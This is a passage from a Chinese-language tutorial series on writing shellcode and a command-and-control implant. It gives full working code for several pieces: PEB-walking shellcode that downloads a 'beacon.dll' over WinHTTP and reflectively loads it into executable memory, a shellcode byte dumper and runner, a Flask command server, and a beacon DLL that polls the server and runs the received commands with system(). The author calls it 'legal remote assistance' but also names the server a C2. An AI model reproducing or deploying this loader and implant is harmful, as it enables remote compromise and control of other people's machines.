LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB;

typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
#pragma comment(lib,"Winhttp.lib")

void shellcode_start() {
//代码不用理解,可以直接复制粘贴.
//0.读取fs,找到peb
uint64_t base_address = 0;
__asm
{
mov eax, fs: [30h]
mov dword ptr[base_address], eax
}
unsigned short m_counter;
uint64_t ldr_table;
uint64_t dll_name;
uint64_t hash_name;
uint64_t kernel32_base = 0;

base_address = (uint64_t)((_PEB*)base_address)->pLdr;
ldr_table =
(uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink;
//1. 通过peb里面的LDR找到kernel32的地址
while (ldr_table) {
dll_name =
(uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer;
m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length;
hash_name = 0;
do {
hash_name = _rotr((unsigned long)hash_name, 13);
if (*((unsigned char*)dll_name) >= 'a')
hash_name += *((unsigned char*)dll_name) - 0x20;
else
hash_name += *((unsigned char*)dll_name);
dll_name++;
} while (--m_counter);
//hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多
//如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路
if ((unsigned long)hash_name == 0x6A4ABC5B) {
//这就是kernel.dll的地址了
kernel32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase;
break;
}
ldr_table = DEREF(ldr_table);
if (kernel32_base != 0) {
//找到了退出
break;
}
}
if (kernel32_base == 0) {
__debugbreak();
}
typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, char* lpProcName);
typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);
GetProcAddressT fnGetProcAddress = NULL;
LoadLibraryAT fnLoadlibrary = NULL;

//别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了....
UINT_PTR uiAddressArray = NULL;
UINT_PTR uiNameArray = NULL;
UINT_PTR uiNameOrdinals = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// 解析PE头
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kernel32_base + ((PIMAGE_DOS_HEADER)kernel32_base)->e_lfanew);
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kernel32_base + ((PIMAGE_DOS_HEADER)kernel32_base)->e_lfanew);
// 拿到导出表
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 遍历导出表
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kernel32_base + pDataDirectory->VirtualAddress);
uiAddressArray = (kernel32_base + pExportDirectory->AddressOfFunctions);
uiNameArray = (kernel32_base + pExportDirectory->AddressOfNames);
uiNameOrdinals = (kernel32_base + pExportDirectory->AddressOfNameOrdinals);

unsigned long dwCounter = pExportDirectory->NumberOfNames;

char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '' };
char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','' };
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(kernel32_base + DEREF_32(uiNameArray));
char* matchPtr = &str1[0];
int ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnGetProcAddress = (GetProcAddressT)(kernel32_base + DEREF_32(uiAddressArray));
}
else {
cpExportedFunctionName = (char*)(kernel32_base + DEREF_32(uiNameArray));
char* matchPtr = &str2[0];
ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray = (kernel32_base + pExportDirectory->AddressOfFunctions);
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnLoadlibrary = (LoadLibraryAT)(kernel32_base + DEREF_32(uiAddressArray));
}
}
if (fnLoadlibrary && fnGetProcAddress) {
break;
}
uiNameArray += sizeof(unsigned long);
uiNameOrdinals += sizeof(unsigned short);
}
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
typedef struct _URL_INFO
{
WCHAR szScheme[36];
WCHAR szHostName[36];
WCHAR szUserName[36];
WCHAR szPassword[36];
WCHAR szUrlPath[36];
WCHAR szExtraInfo[36];
}URL_INFO, * PURL_INFO;

_URL_INFO url;
URL_COMPONENTSW lpUrlComponents;
lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
lpUrlComponents.lpszExtraInfo = url.szExtraInfo;
lpUrlComponents.lpszHostName = url.szHostName;
lpUrlComponents.lpszPassword = url.szPassword;
lpUrlComponents.lpszScheme = url.szScheme;
lpUrlComponents.lpszUrlPath = url.szUrlPath;
lpUrlComponents.lpszUserName = url.szUserName;

lpUrlComponents.dwExtraInfoLength =
lpUrlComponents.dwHostNameLength =
lpUrlComponents.dwPasswordLength =
lpUrlComponents.dwSchemeLength =
lpUrlComponents.dwUrlPathLength =
lpUrlComponents.dwUserNameLength = 36;

typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents);
typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW,
_In_ DWORD dwAccessType,
_In_opt_z_ LPCWSTR pszProxyW,
_In_opt_z_ LPCWSTR pszProxyBypassW,
_In_ DWORD dwFlags);
typedef HINTERNET(WINAPI* WinHttpConnectT)(
IN HINTERNET hSession,
IN LPCWSTR pswzServerName,
IN INTERNET_PORT nServerPort,
IN DWORD dwReserved);
typedef HINTERNET(WINAPI* WinHttpOpenRequestT)(
IN HINTERNET hConnect,
IN LPCWSTR pwszVerb,
IN LPCWSTR pwszObjectName,
IN LPCWSTR pwszVersion,
IN LPCWSTR pwszReferrer OPTIONAL,
IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL,
IN DWORD dwFlags);
typedef BOOL(WINAPI* WinHttpSendRequestT)(
IN HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
IN DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
IN DWORD dwOptionalLength,
IN DWORD dwTotalLength,
IN DWORD_PTR dwContext);
typedef BOOL(WINAPI* WinHttpReceiveResponseT)(
IN HINTERNET hRequest,
IN LPVOID lpReserved);
typedef BOOL(WINAPI* WinHttpQueryHeadersT)(
IN HINTERNET hRequest,
IN DWORD dwInfoLevel,
IN LPCWSTR pwszName OPTIONAL,
_Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer,
IN OUT LPDWORD lpdwBufferLength,
IN OUT LPDWORD lpdwIndex OPTIONAL);
typedef BOOL(WINAPI* WinHttpCloseHandleT)(
IN HINTERNET hInternet);
typedef BOOL(WINAPI* WinHttpReadDataT)(
IN HINTERNET hRequest,
_Out_writes_bytes_to_(dwNumberOfBytesToRead, *lpdwNumberOfBytesRead) __out_data_source(NETWORK) LPVOID lpBuffer,
IN DWORD dwNumberOfBytesToRead,
OUT LPDWORD lpdwNumberOfBytesRead);
typedef void*(WINAPI* memcpyT)(
_Out_writes_bytes_all_(_Size) void* _Dst,
_In_reads_bytes_(_Size) void const* _Src,
_In_ size_t _Size);

constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl";
constexpr char strWinHttpOpen[] = "WinHttpOpen";
constexpr char strWinHttpConnect[] = "WinHttpConnect";
constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest";
constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest";
constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse";
constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders";
constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle";
constexpr char strWinHttpReadData[] = "WinHttpReadData";
constexpr char strMemcpy[] = "memcpy";
constexpr char strWinhttp[] = "Winhttp.dll";
constexpr wchar_t strUrl[] = L"http://127.0.0.1/beacon.dll";
constexpr wchar_t strHead[] = L"HEAD";
constexpr wchar_t strHTTP[] = L"HTTP/1.1";
constexpr wchar_t strGet[] = L"GET";
constexpr char strMsvcrt[] = "msvcrt.dll";

WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl);
WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen);
WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect);
WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest);
WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest);
WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse);
WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders);
WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle);
WinHttpReadDataT fnWinHttpReadData = (WinHttpReadDataT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReadData);
memcpyT fnMemcpy = (memcpyT)fnGetProcAddress(fnLoadlibrary(strMsvcrt), (char*)strMemcpy);
// 创建一个会话
fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents);
HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;
// 创建一个连接
HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
// 创建一个请求,先查询内容的大小
HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
fnWinHttpCloseHandle(hRequest);

// 创建一个请求,获取数据
hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
typedef LPVOID(WINAPI* VirtualAllocT)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect);
constexpr char strVirtualAlloc[] = "VirtualAlloc";
VirtualAllocT fnVirtualAlloc = (VirtualAllocT)fnGetProcAddress((HMODULE)kernel32_base, (char*)strVirtualAlloc);
//别介意代码风格突变,这是另外一个项目复制粘贴的.
const auto fileSize = dwContentSize;
void* rawBuffer = fnVirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
fnWinHttpReadData(hRequest, rawBuffer, fileSize, &dwReadBytes);

//把之前的链接关掉
fnWinHttpCloseHandle(hRequest);
fnWinHttpCloseHandle(hConnect);
fnWinHttpCloseHandle(hSession);

PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)rawBuffer;
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)((LPBYTE)rawBuffer + pIDH->e_lfanew);

void* imageBuffer = fnVirtualAlloc(NULL, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fnMemcpy(imageBuffer, rawBuffer, pINH->OptionalHeader.SizeOfHeaders);

PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pINH + 1);

for (size_t i = 0; i < pINH->FileHeader.NumberOfSections; i++)
{
fnMemcpy((PVOID)((LPBYTE)imageBuffer + pISH[i].VirtualAddress), (PVOID)((LPBYTE)rawBuffer + pISH[i].PointerToRawData), pISH[i].SizeOfRawData);
}

//重定位
DWORD delta = (DWORD)((LPBYTE)imageBuffer - pINH->OptionalHeader.ImageBase); // Calculate the delta
PIMAGE_BASE_RELOCATION pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (pIBR->VirtualAddress)
{
if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
{
DWORD count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD list = (PWORD)(pIBR + 1);

for (size_t i = 0; i < count; i++)
{
if (list[i])
{
PDWORD ptr = (PDWORD)((LPBYTE)imageBuffer + (pIBR->VirtualAddress + (list[i] & 0xFFF)));
*ptr += delta;
}
}
}

pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock);
}
//导入表修复
PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pIID->Characteristics)
{
PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->FirstThunk);

HANDLE hModule = fnLoadlibrary((LPCSTR)imageBuffer + pIID->Name);

while (OrigFirstThunk->u1.AddressOfData)
{
if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// Import by ordinal

DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)(OrigFirstThunk->u1.Ordinal & 0xFFFF));
FirstThunk->u1.Function = Function;
}

else
{
// Import by name
PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)imageBuffer + OrigFirstThunk->u1.AddressOfData);
DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)pIBN->Name);

FirstThunk->u1.Function = Function;
}

OrigFirstThunk++;
FirstThunk++;
}

pIID++;
}

//一切就绪 call一下entry
typedef BOOL(WINAPI* PDLL_MAIN)(HMODULE, DWORD, PVOID);
PDLL_MAIN EntryPoint = (PDLL_MAIN)((LPBYTE)imageBuffer + pINH->OptionalHeader.AddressOfEntryPoint);
EntryPoint((HMODULE)imageBuffer, DLL_PROCESS_ATTACH, NULL); // Call the entry point

}
void shellcode_end() {
__debugbreak();
}
int main()
{

const auto start_address = (uint32_t)shellcode_start;
const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address;
for (size_t i = 0; i < shellcode_size; i++)
{
auto sig_code = ((unsigned char*)start_address)[i];
printf(",0x%02X", sig_code);
}
/*
char shellcode[] = { ... };
PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
typedef void(__stdcall* door_code) ();
door_code run_shellcode = (door_code)p;
run_shellcode();
*/
system("pause");
}

是时候编写我们的服务端了,之前都是客户端
服务端就不用c++了,那玩意谁用谁知道,两个字 癌症.所以服务端改成http的服务端.这边你要准备好python3,并且把pip的源换成国内的.

安装好flask

假设你准备好了
python3,并且把pip的源换成国内的
你只需要在命令行输入
python -m pip install flask
即可安装好flask.然后找个目录新建一个.py文件
新手推荐使用jb全家桶作为IDE.但是我个人喜欢vscode.总之不要使用 不要使用 不要使用 notepad或者notepad++

flask的第一个hello world

虽然本系列不教python,但是为了后续的没问题,应该先写个hello world出来:
这是代码,请直接复制粘贴

from flask import Flask
app = Flask(__name__)


@app.route("/")
def root():
return '你好世界'


if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")

然后打开控制台输入python xxx.py(xxx是你刚刚的python文件名)
手把手填鸭式的Shellcode编写入门教程
当提示这些的时候,访问哪个running on xxx的url,你应该就看得到一个你好世界了

准备接受指令的接口

首先我们需要对我们的远程协助软件的指令有个结构认知
在本系列我不打算使用json/protobuf啥的,因为对新手不友好.所以我们使用最传统的结构,也就是文本分隔符
定为
客户端的密码|指令
客户端在密码正确的情况下返回回显
请注意,我们没有在做C2,我们在做的是合法的远程协助软件.合法的远程协助是需要客户端的密码的.这样代表是授权了.

输入指令的接口

我们希望我们有个地方能输入指令,所以这个也需要有个接口.同时我们也希望有个输入的web界面

需求汇总

  1. 我们需要有个接口让客户端不断循环访问,接受命令然后执行

  2. 我们需要有个接口让客户端执行完毕后返回回显给我们

  3. 我们需要有个接口让我们能输入命令

  4. 我们需要有个界面

本篇文章篇幅有限,只解决1-3的服务端的问题

客户端 -> 服务端接口

@app.route('/api/v1/client/get_cmd', methods=['GET'])
def client_get_cmd():
return "这是命令"

逐个介绍以下
@app.route('/api/v1/client/get_cmd', methods=['GET'])
这个代表当客户端访问/api/v1/client/get_cmd的时候,执行client_get_cmd这个方法
client_get_cmd返回一个”这是命令”

把这个代码放到上面空白的地方后,访问http://xxxxxx/api/v1/client/get_cmd
应该看得到这个接口的返回值了:
手把手填鸭式的Shellcode编写入门教程
然后我们需要定义一个全局变量,代表是我们要输入的命令,再把我们输出的内容替换成这个变量
这是代码:

from flask import Flask
app = Flask(__name__)
g_cmd = ""
@app.route('/api/v1/client/get_cmd', methods=['GET'])
def client_get_cmd():
global g_cmd
return g_cmd
@app.route("/")
def root():
return '你好世界'
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")

后续我们就会操作这个g_cmd的变量

客户端执行结果 -> 服务端

客户端执行完代码后,要给服务端发送回显代码,我们根据上面如法炮制,只不过这次我们就不能用get的方法了,用post的方法:

g_respone = ""


@app.route('/api/v1/server/get_respone', methods=['POST'])
def server_get_respone():
global g_respone
g_respone = request.data.decode()
return "1337"

注意看有几个不同的是,我们这次用的是post的方法,而且变成了接受客户端的信息
至于为什么要用post方法因为回显有很多字符串是不能在url里面显示的,此外url也有显示的上限所以用post最大是4m的数据已经足够我们干活了

服务端输入命令&服务端获取回显

跟第一步一样,如法炮制

@app.route('/api/v1/server/send_cmd', methods=['GET'])
def client_send_cmd():
global g_cmd
g_cmd = request.args.get('key') + "|" + request.args.get('cmd')
return {'success': True, 'cmd': g_cmd}

这里返回了json,因为我们后续要用js渲染一些东西.
回显:

@app.route('/api/v1/server/get_client_respone', methods=['GET'])
def server_get_client_respone():
global g_respone
return g_respone

测试

如果准确无误,我们可以模拟一遍服务端的流程:
浏览器访问
http://xxxxx:5000/api/v1/server/send_cmd?key=1111&cmd=dir
应该返回

{
"cmd": "1111|dir",
"success": true
}

访问
http://127.0.0.1:5000/api/v1/client/get_cmd
应该返回你刚刚输入的命令和密钥
1111|dir

完整代码

from flask import Flask
from flask import request

app = Flask(__name__)

g_cmd = ""
g_respone = ""


@app.route('/api/v1/server/get_respone', methods=['POST'])
def server_get_respone():
global g_respone
g_respone = request.data.decode()
return "1337"


@app.route('/api/v1/server/get_client_respone', methods=['GET'])
def server_get_client_respone():
global g_respone
return g_respone


@app.route('/api/v1/server/send_cmd', methods=['GET'])
def client_send_cmd():
global g_cmd
g_cmd = request.args.get('key') + "|" + request.args.get('cmd')
return {'success': True, 'cmd': g_cmd}


@app.route('/api/v1/client/get_cmd', methods=['GET'])
def client_get_cmd():
global g_cmd
return g_cmd


@app.route("/")
def root():
return '你好世界'


if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")

下一章节我们将介绍客户端如何跟C2服务器进行联动

是时候让客户端链接我们的服务端了!

确定需求

凡事先确定一下需求,根据上一章服务端的配置,我们客户端有如下需求:

  1. 循环链接服务端

  2. 校验服务端的密码是否正确

  3. 执行服务端发送的指令

  4. 返回回显给服务端

其中第四步本系列不再讨论留作家庭作业.我们来实现前三步

循环链接服务端

我们为了简单,不用curl或者openssl这些巨大的蠕虫库,我们使用winhttp作为链接工具.
这里是一个简单的winhttp封装,只实现了get方法,至于post方法发回回显就只能当作作业了

#define WINHTTP_STACK_LIMIT 64
typedef struct _winhttp_url_custom_stack {
wchar_t szScheme[WINHTTP_STACK_LIMIT];
wchar_t szHostName[WINHTTP_STACK_LIMIT];
wchar_t szUserName[WINHTTP_STACK_LIMIT];
wchar_t szPassword[WINHTTP_STACK_LIMIT];
wchar_t szUrlPath[WINHTTP_STACK_LIMIT];
wchar_t szExtraInfo[WINHTTP_STACK_LIMIT];
} _winhttp_url_custom_stack;

namespace Winhttp {
auto initParams(URL_COMPONENTS* urlParams,
_winhttp_url_custom_stack* inputParams) -> void {
urlParams->dwStructSize = sizeof(URL_COMPONENTS);
urlParams->lpszExtraInfo = inputParams->szExtraInfo;
urlParams->lpszHostName = inputParams->szHostName;
urlParams->lpszPassword = inputParams->szPassword;
urlParams->lpszScheme = inputParams->szScheme;
urlParams->lpszUrlPath = inputParams->szUrlPath;
urlParams->lpszUserName = inputParams->szUserName;

urlParams->dwExtraInfoLength = urlParams->dwHostNameLength =
urlParams->dwPasswordLength = urlParams->dwSchemeLength =
urlParams->dwUrlPathLength = urlParams->dwUserNameLength =
WINHTTP_STACK_LIMIT;
}
auto Get(std::wstring url, void** outBuffer, size_t& outBufferSize) -> bool {
_winhttp_url_custom_stack winHttpStack = {0};
URL_COMPONENTS urlParams = {0};
HINTERNET httpSession = 0, httpConnectHandle = 0, httpRequest = 0;
initParams(&urlParams, &winHttpStack);
void* buffer = nullptr;
size_t bufferSize = 0;
size_t readSize = 0;
size_t realySize = 0;
bool status = false;
DWORD headBufferSize = sizeof(headBufferSize), headContextSize,
headIndex = 0;
do {
auto httpStatus =
WinHttpCrackUrl(url.c_str(), url.size(), ICU_DECODE, &urlParams);
if (httpStatus == false) {
break;
}
httpSession =
WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
if (httpSession == 0) {
break;
}
httpConnectHandle = WinHttpConnect(httpSession, urlParams.lpszHostName,
urlParams.nPort, 0);
if (httpConnectHandle == 0) {
break;
}

httpRequest = WinHttpOpenRequest(
httpConnectHandle, L"GET", urlParams.lpszUrlPath, L"HTTP/1.1",
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_REFRESH);
if (httpRequest == 0) {
break;
}
if (WinHttpSendRequest(httpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == false) {
break;
}
if (WinHttpReceiveResponse(httpRequest, 0) == false) {
break;
}
if (WinHttpQueryDataAvailable(
httpRequest, reinterpret_cast<LPDWORD>(&realySize)) == false) {
break;
}
buffer = malloc(realySize);
if (buffer == nullptr) {
break;
}
memset(buffer, 0, realySize);
bufferSize = realySize;
if (WinHttpReadData(httpRequest, buffer, realySize,
reinterpret_cast<LPDWORD>(&realySize)) == false) {
break;
}
status = true;
} while (false);
if (status) {
*outBuffer = buffer;
outBufferSize = bufferSize;
} else {
if (buffer != nullptr) {
free(buffer);
}
}
// close
if (httpRequest != 0) {
WinHttpCloseHandle(httpRequest);
}
if (httpConnectHandle != 0) {
WinHttpCloseHandle(httpConnectHandle);
}
if (httpSession != 0) {
WinHttpCloseHandle(httpSession);
}
return status;
}
} // namespace Winhttp

winhttp这块要注意一点:
调试的时候绝对不能在DLL_PROCESS_ATTACH使用,会造成死锁.原因不明,所以我们要新建一个线程启动.在shellcode中不存在这个问题
这是代码:

auto easyCreateThread(void* pFunctionAddress, void* pParams) -> HANDLE {
return CreateThread(
NULL, NULL, reinterpret_cast<LPTHREAD_START_ROUTINE>(pFunctionAddress),
static_cast<LPVOID>(pParams), NULL, NULL);
}
auto Work() -> void {
easyCreateThread(reinterpret_cast<void*>(loopWork), nullptr);
}

循环请求服务端等待消息

在线程启动后,我们需要循环请求服务端的消息,为了避免快速请求导致拉闸,我们会每1秒请求一次.
此外,为了安全与合法,我们需要在客户端生成随机字符串作为key.只有服务端的key和客户端key对的上才能链接.
也就是说只有在客户端同意的情况下,服务端才能链接上客户端.否做就成了C2了:

namespace Auth {
std::string localKey;
auto strRand(int length) -> std::string {
char tmp;
std::string buffer;
std::random_device rd;
std::default_random_engine random(rd());
for (int i = 0; i < length; i++) {
tmp = random() % 36;
if (tmp < 10) {
tmp += '0';
} else {
tmp -= 10;
tmp += 'A';
}
buffer += tmp;
}
return buffer;
}
bool CheckPassword(std::string key) { return key == localKey; }
void Init() { localKey = strRand(6); }
} // namespace Auth

我们将会生成6位的密码

组装在一起

我们将之前的组合在一起:

void loopWork() {
static const std::wstring cmdUrl =
L"http://127.0.0.1:1887/api/v1/client/get_cmd";
Auth::Init();
printf("你的本地密钥是: %s 请不要随便分享给其他人n",
Auth::localKey.c_str());
do {
void* buffer = nullptr;
size_t bufferSize = 0;

bool status = Winhttp::Get(cmdUrl, &buffer, bufferSize);
if (status && buffer != nullptr) {
std::string serverCmd =
std::string(reinterpret_cast<char*>(buffer), bufferSize);
if (serverCmd.size() > 0) {
std::string key = serverCmd.substr(0, 6);
if (Auth::CheckPassword(key)) {
std::string cmd = serverCmd.substr(7, serverCmd.size());
printf("cmd: %s n", cmd.c_str());
system(cmd.c_str());
}
}
free(buffer);
}
Sleep(1000);
} while (true);
}

测试

启动客户端:
手把手填鸭式的Shellcode编写入门教程
在服务端的接口输入密码和要执行的代码后:
手把手填鸭式的Shellcode编写入门教程
我们的客户端就执行了对应的代码了

作业

  1. 完成回显回报

  2. 完成前端页面,输入代码显示回显

  3. 加密密码,密码应该用hash而不是明文传输

完整beacon代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#define WINHTTP_STACK_LIMIT 64
typedef struct _winhttp_url_custom_stack {
wchar_t szScheme[WINHTTP_STACK_LIMIT];
wchar_t szHostName[WINHTTP_STACK_LIMIT];
wchar_t szUserName[WINHTTP_STACK_LIMIT];
wchar_t szPassword[WINHTTP_STACK_LIMIT];
wchar_t szUrlPath[WINHTTP_STACK_LIMIT];
wchar_t szExtraInfo[WINHTTP_STACK_LIMIT];
} _winhttp_url_custom_stack;

namespace Winhttp {
auto initParams(URL_COMPONENTS* urlParams,
_winhttp_url_custom_stack* inputParams) -> void {
urlParams->dwStructSize = sizeof(URL_COMPONENTS);
urlParams->lpszExtraInfo = inputParams->szExtraInfo;
urlParams->lpszHostName = inputParams->szHostName;
urlParams->lpszPassword = inputParams->szPassword;
urlParams->lpszScheme = inputParams->szScheme;
urlParams->lpszUrlPath = inputParams->szUrlPath;
urlParams->lpszUserName = inputParams->szUserName;

urlParams->dwExtraInfoLength = urlParams->dwHostNameLength =
urlParams->dwPasswordLength = urlParams->dwSchemeLength =
urlParams->dwUrlPathLength = urlParams->dwUserNameLength =
WINHTTP_STACK_LIMIT;
}
auto Get(std::wstring url, void** outBuffer, size_t& outBufferSize) -> bool {
_winhttp_url_custom_stack winHttpStack = {0};
URL_COMPONENTS urlParams = {0};
HINTERNET httpSession = 0, httpConnectHandle = 0, httpRequest = 0;
initParams(&urlParams, &winHttpStack);
void* buffer = nullptr;
size_t bufferSize = 0;
size_t readSize = 0;
size_t realySize = 0;
bool status = false;
DWORD headBufferSize = sizeof(headBufferSize), headContextSize,
headIndex = 0;
